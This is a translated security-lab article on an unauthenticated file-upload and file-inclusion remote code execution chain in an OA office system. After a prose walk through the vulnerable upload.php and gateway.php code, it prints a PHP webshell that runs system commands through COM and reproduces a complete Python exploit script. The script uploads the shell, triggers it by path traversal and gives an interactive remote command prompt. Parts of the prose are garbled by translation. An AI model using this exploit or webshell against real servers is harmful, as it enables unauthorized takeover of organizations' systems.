The following article is from Leishi safety laboratory
influence
Scope of influence (but only version V11 and 2017 have php containing files, and other versions can upload files.):
V11 version 2017 version 2016 version 2013 enhanced version 2013 version.
This vulnerability was a few months ago. It is mainly to learn the formation principle and mode process of this vulnerability code.
The vulnerability mainly uploads files by bypassing authentication, and then implements code execution through File Inclusion Vulnerability
code analysis
The source code is encrypted by zend 5.4. Decryption tool:
SeayDzend, you can download it from Baidu

Online decryption
http://dezend.qiling.org/free.html
Key files uploaded from any file
webroot\ispirit\im\upload.php
Code analysis:

You can see that the session is started as long as you judge whether the P parameter is not empty
When there is no P parameter

sometimes

Keep going

Judge dest_ Whether the uid is not empty, otherwise it will exit
Judge dest_ When uid = 0, if upload_ If mode is not equal to 2, exit directly
Judge dest_ Judge directly when uid is not equal to 0$_ Whether the number of FILES is, that is, whether FILES are uploaded
This can be the second case, DEST_UID=0,UPLOAD_MODE=2 for the next step

It can also be dest_ The uid is not 0. Go to the next step

Keep going

You can also judge the upload mode in if language here. Let's see what kinds of upload modes there are. You can see that there are 1,2,3 in total, of which 1,2,3 will be echoed if successful


Upload is set here_ If mode is 1, enter the upload function


We will judge whether the / character, and then judge whether the uploaded file conforms to the uploadable format. Let's continue_ uploadable

You can see that if the upload format is PHP, it will return false. Here, use XXX php. bypass
Looking back, the upload function will eventually return an array of $ATTACHMENTS, including ID, and NAME

Follow up and find that ATTACHMENTS is generated by add_ Generated by the attach function

Follow up
Found the spelling of $FILENAME

When you continue down, you will find the final result of $path and file name

Various tracking findings are under the attch/im/$YM / folder

In fact, it doesn't have to be so complicated. Just upload the file directly, and then search where the file is finally placed. Isn't it finished? Or use the velvet sword analysis behavior and D shield for file monitoring
The parameters required for uploading in combination with the previous analysis are

The echo format is different for different upload modes. The 2 format here is more comfortable. The directory is 2003, and the file name corresponds to the following ID


Because the key here is that there is a File Inclusion Vulnerability in the OA system after uploading the file, RCE can be realized in combination with the File Inclusion Vulnerability
File contains code location
/ispirit/interface/gateway.php

First, it will accept a json data, then convert it into an array, and then traverse the data. If the key is a url, the url corresponds to the value
Then go on

Then go to strpos and you can see that if general /, ispirit and module / appear, the file will trigger the construction of payload
/general/../../attach/im/2003/1191415788.1.php
Since the phpinfo function is disabled and dangerous when I upload, I can write a webshell in the current / ispirit/interface / directory

Remember to prefix the file name here\



Of course, you can also use the COM component bypass function
<?php $command=$_POST['cmd']; $wsh = new COM('WScript.shell'); $exec = $wsh->exec("cmd /c ".$command); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; ?>
You can also directly use the file containing the matching log getshell
Directly trigger the error log of nginx, and use the file to contain the direct getshell
Using online published scripts:
#!/usr/bin/env python3 # -*- encoding: utf-8 -*- # oa access file upload plus file contains remote code execution import requests import re import sys def oa(url): upurl = url + '/ispirit/im/upload.php' headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "multipart/form-data; boundary=---------------------------27723940316706158781839860668"} data = "-----------------------------27723940316706158781839860668\r\nContent-Disposition: form-data; name=\"ATTACHMENT\"; filename=\"jpg\"\r\nContent-Type: image/jpeg\r\n\r\n<?php\r\n$command=$_POST['cmd'];\r\n$wsh = new COM('WScript.shell');\r\n$exec = $wsh->exec(\"cmd /c \".$command);\r\n$stdout = $exec->StdOut();\r\n$stroutput = $stdout->ReadAll();\r\necho $stroutput;\r\n?>\n\r\n-----------------------------27723940316706158781839860668\r\nContent-Disposition: form-data; name=\"P\"\r\n\r\n1\r\n-----------------------------27723940316706158781839860668\r\nContent-Disposition: form-data; name=\"DEST_UID\"\r\n\r\n1222222\r\n-----------------------------27723940316706158781839860668\r\nContent-Disposition: form-data; name=\"UPLOAD_MODE\"\r\n\r\n1\r\n-----------------------------27723940316706158781839860668--\r\n" req = requests.post(url=upurl, headers=headers, data=data) filename = "".join(re.findall("2003_(.+?)\|",req.text)) in_url = url + '/ispirit/interface/gateway.php' headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "X-Forwarded-For": "127.0.0.1", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded"} data = "json= {\"url\":\"../../../general/../attach/im/2003/%s.jpg\"}&cmd=%s" % (filename,"echo php00py") include_req = requests.post(url=in_url, headers=headers, data=data) if 'php00py' in include_req.text: print("[+] OA RCE vulnerability ") return filename else: print("[-] Not OA RCE vulnerability ") return False def oa_rce(url, filename,command): url = url + '/ispirit/interface/gateway.php' headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded"} data = "json= {\"url\":\"../../../general/../attach/im/2003/%s.jpg\"}&cmd=%s" % (filename,command) req = requests.post(url, headers=headers, data=data) print(req.text) if __name__ == '__main__': if len(sys.argv) < 2: print("please input your url python oa_rce.py http://127.0.0.1:8181") else: url = sys.argv[1] filename = oa(url) while filename: try: command = input("wran@shelLhost#") if command == "exit" or command == "quit": break else: oa_rce(url,filename,command) except KeyboardInterrupt: break

The script uses COM bypass